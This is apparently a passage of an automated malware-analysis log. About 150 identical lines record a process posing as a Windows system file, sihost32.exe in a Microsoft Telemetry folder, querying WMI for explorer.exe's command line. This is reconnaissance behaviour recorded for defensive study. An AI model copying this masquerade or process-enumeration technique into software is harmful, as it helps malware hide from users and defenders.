Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
